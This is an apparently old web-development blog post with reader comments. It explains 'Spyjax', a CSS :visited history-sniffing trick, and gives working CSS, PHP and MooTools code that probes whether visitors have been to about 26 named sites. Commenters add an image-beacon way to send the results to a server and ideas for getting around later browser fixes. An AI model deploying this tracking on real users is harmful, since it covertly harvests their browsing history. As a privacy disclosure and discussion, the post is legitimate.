AJAX For Evil: Spyjax

By  on  

With great power comes great responsibility. With every advancement in technology we face the threat of it being used for evil purposes. This is the case with AJAX. AJAX has a ton of great uses but one form of negative AJAX has taken life: Spyjax.

Spyjax, as I know it, is taking information from the user's computer for your own use -- specifically their browsing habits. By using CSS and JavaScript, I can inject anchor links into the page and tell whether you've been to the link's URL. How? Quite easy actually.

The CSS

a.checkme			{ color:#0ff0; }
a.checkme:visited	{ color:#f00; }
.highlight			{ background:#fffea1; }

The most important part is making sure the :visited link color is different than the standard link color. In this case, I'm using red.

The JavaScript

<?php 
	$sites = array(
							'davidwalsh.name',
							'css-tricks.com',
							'snook.ca',
							'cnn.com',
							'digg.com',
							'flickr.com',
							'php.net',
							'reddit.com',
							'yahoo.com',
							'google.com',
							'msn.com',
							'gmail.com',
							'ajaxian.com',
							'imdb.com',
							'mootools.net',
							'jquery.com',
							'wordpress.org',
							'dlisted.com',
							'foxnews.com',
							'dzone.com',
							'nettuts.com',
							'youtube.com',
							'diggnation.com',
							'collegehumor.com',
							'facebook.com',
							'myspace.com'
						);
	$site_string = implode('\',\'',$sites);
	
?>
//inject!
$('tell-me').addEvent('click', function() {
	
	var urls = ['<?php echo $site_string; ?>'];
	var known = [];
	urls.each(function(url) {
		var anchor = new Element('a', {
			'href': 'http://' + url,
			'class':'checkme',
			'html':url,
			'styles' : {
				'display': 'none'
			}
		}).inject($('body'));
		if(anchor.getStyle('color') == '#ff0000') {
			known.include(anchor.get('text'));
		}
	});
	
	alert(known.length ? 'Found ' + known.length + ': ' + known.join(', ') + '.  Time to record this using AJAX.'  : 'Lucky you, I didn\'t find any!');
});
});

The JavaScript is really done into parts. The first part is injecting the links into the page, the second part is pulling the link's text color from our injected elements. You'd think it would be harder, huh? Nope!

Spyjax isn't as evil as stealing credit card information or social security numbers but it can be an invasion of privacy. One use I've seen for Spyjax has been checking to see if a user's been to Digg. If so, show the "Digg This" button. If not, check for Reddit, DZone, and so on.

What are your thoughts on this practice?

Recent Features

  • By
    Being a Dev Dad

    I get asked loads of questions every day but I'm always surprised that they're rarely questions about code or even tech -- many of the questions I get are more about non-dev stuff like what my office is like, what software I use, and oftentimes...

  • By
    Page Visibility API

    One event that's always been lacking within the document is a signal for when the user is looking at a given tab, or another tab. When does the user switch off our site to look at something else? When do they come back?

Incredible Demos

Discussion

  1. Wow this is both spooky and worrisome but yet cool as hell……I’m not quite sure how to feel about it honestly. Glad to know about it now though!

  2. @Tim: Yep, very scandalous!

  3. it’s indeed a clever way to learn more about user’s browsing habits. The information you gain can be saved into a DB and used for optimization or even direct marketing purposes. But like you said, it isn’t necessarily evil. it depends on what you do with it.

  4. In addition: there some serious privacy concerns here and it might even backfire really hard if you use it

  5. ChrisS

    But this only works if I’ve been to a link on your website – I’d come to this page via Digg but it didn’t tell me I had until I clicked the link on your page and came back.

    So in that sense, it’s no different to using a PHP redirect page to track the data – and you see that everywhere!

  6. @Chris: I don’t think we’re on the same page. I’d know if you had been to digg.com the second you hit my page.

    • Santiago

      I think there’s a little problem. It doesn’t seem to work. it says i’ve not visited those links, but i did.

      Maybe this line is bugged:

      if(anchor.getStyle(‘color’) == ‘#ff0000’) {

      I think you should check for #f00, like the style says.

      What do you think?

  7. ^ speaking of which are you using it now on THIS site?

  8. ChrisS

    Fair enough but you couldn’t tell if I’d been to
    http://digg.com/programming/Ajax_For_Evil_Spyjax instead of http://digg.com

    Whereas a PHP script could potentially pull out the main domain.
    Anyway, I can see how they are different functionality.

    Thanks for your post :)

  9. @Tim: Nope. Always the DZone widget.

  10. JP

    Wow, I had never thought about that before… All the more reason to use NoScript (or similar) for sites you don’t trust (pretty much all of them these days, eh?).

  11. Incredible. I haven’t understood all of your code, but would this have been possible pre-Ajax?

  12. Andrea

    Good call.

    If you only use it to decide whether to display a button, like in the examples you mention, this would be ok, but… then you wouldn’t need Ajax at all: this would only affect the visibility of a given element on the page, so you don’t need to send any data back to the server.

    In fact, unless I’m missing out on something, you don’t even need to inject anything into the page via Javascript. The hidden links can be simply part of your page template. All you need to do is to check their colours to see whether the browsers knows them as visited.

    I must say, I wouldn’t rely all that much on this information: I’m not visiting the *home page* of my social bookmarking site very often, and I’m pretty sure it is not in my history -which only remembers pages visited in the last 9 days- now.

    Anyway, as long as you don’t send the results back to the server (or store them in a cookie, for that matter) and use them to truly spy on the visitor, it’s ok.

  13. Andrea

    Ben: XMLHttpRequest has been available since IE5 (March 1999) iframes since IE3 (1996): both can be used for what is now called Ajax.

    But you can also use cookies (first implemented in 1994) to store the info and send it back to the server with the visitor’s next visit to any page of the web site: not sure about how well JavaScript could support this particular technique at that time.

  14. Andrea

    (not to talk about the CSS part, now that I think of it…)

    Anyway, the point is that it can be done without what we call Ajax.

  15. This is amazing.

  16. I think you may need to add the www version and the non www version

    I’ve been to http://www.foxnews.com but spyjax won’t pick it up since it looks for foxnews.com

  17. Such is the future, David. Give up privacy for better user experience (hopefully). People nowadays seem to like it more and more. You know what? Me too.

  18. jmatt

    This seems legit if it’s just used for rendering the proper user interface. Though it definitely seems like an easy and potentially scandalous way to find out more information about a user.

  19. Rey Bango

    David, is this just a MooTools version of this http://ajaxian.com/archives/spyjax-using-avisited-to-test-your-history ?

  20. @Rey: Same idea but I didn’t port over that code from Ajaxian — I custom cooked this one without knowledge of that article.

  21. Rey Bango

    @David: Ah nice! So what evil will u be plotting?

  22. @Rey: I’m going to get evil on this laptop if doesn’t stop telling me “Operating System Not Found” all the time. :)

    I don’t have any more plans for this. I see a super scandalous use and a decent marketing use — neither of which I feel comfortable with.

    Keep up the good work at Ajaxian!

  23. Rey Bango

    @David Thx man. Your site is one of the blogs I look for content from so keep up the good work as well! :)

  24. Gholister

    So then, Acme Widgets could know whether I’ve been checking out the competition’s prices over at the WidgetCo website, and could have tailored their website output accordingly…

    @David: I don’t see much point in hiding these uncomfortable ideas, even though they don’t quite sit right – Pandora’s box is well and truly open already. It’s like those replacement keypads and card scanners that people were sticking to the front of ATMs – while the police didn’t want to put the idea in any more criminal heads, they were already out there and the public had to be educated in order to look out for and avoid them. Besides, I’m morbidly curious about security, best interests be damned :)

  25. This idea works for me in IE but not Firefox…is it possible Firefox plugged this privacy hole already?

  26. This could most certainly be a very useful tool for sites who are craving social bookmarking users. Instead of cluttering your design with every social bookmarking tool you could just have the ones your visitors are using!

  27. qwaxys

    Ben: sending information to the server doesn’t require XMLHttpRequest
    you could simply create a 1×1 pixel image and let it load with JavaScript
    example: yourdomain.com/pre-ajax/q1/data1/q2/data2/image.gif

  28. David

    Did you report that already the browser producers?

  29. @David: Nope — this is a well known technique.

  30. Seth

    I personally think it’s very important. This isn’t new to the web…it’s not checking anything that is private…and the majority of the time it is used to serve better/more targeted information. Basically, if I’m forced to look at an ad why not be an ad that is relative to my tastes?

  31. I think this has been flagged by Mozilla for ages as a bug to fix, but there’s really no way to fix it other than to remove a:visited altogether. I mean, you could get rid of a:visited altogether, but that’s much worse than knowing about a handful of sites I might have visited before.

  32. @Chris: Agreed.

  33. Me

    Is this method still valid? and for what browsers?

    • Most browsers have prevented this method!

    • You could still use this, though, if you retooled it a bit to rely on the element’s box (height/width/padding) or psuedo-elements, right? As far as I know browsers don’t block against that.

  34. sneaky

    I’m sorry – maybe I’m not understanding this… Where do you throw the javascript? In other words, how do you install this on a page?

    I get that you throw the CSS in-line, then the PHP in the body, but I don’t know anything about javascript. When I copy/paste this code into a page, everything below the //inject! line simply displays, instead of parsing…

    Sorry to be an idiot – thanks!

Wrap your code in <pre class="{language}"></pre> tags, link to a GitHub gist, JSFiddle fiddle, or CodePen pen to embed!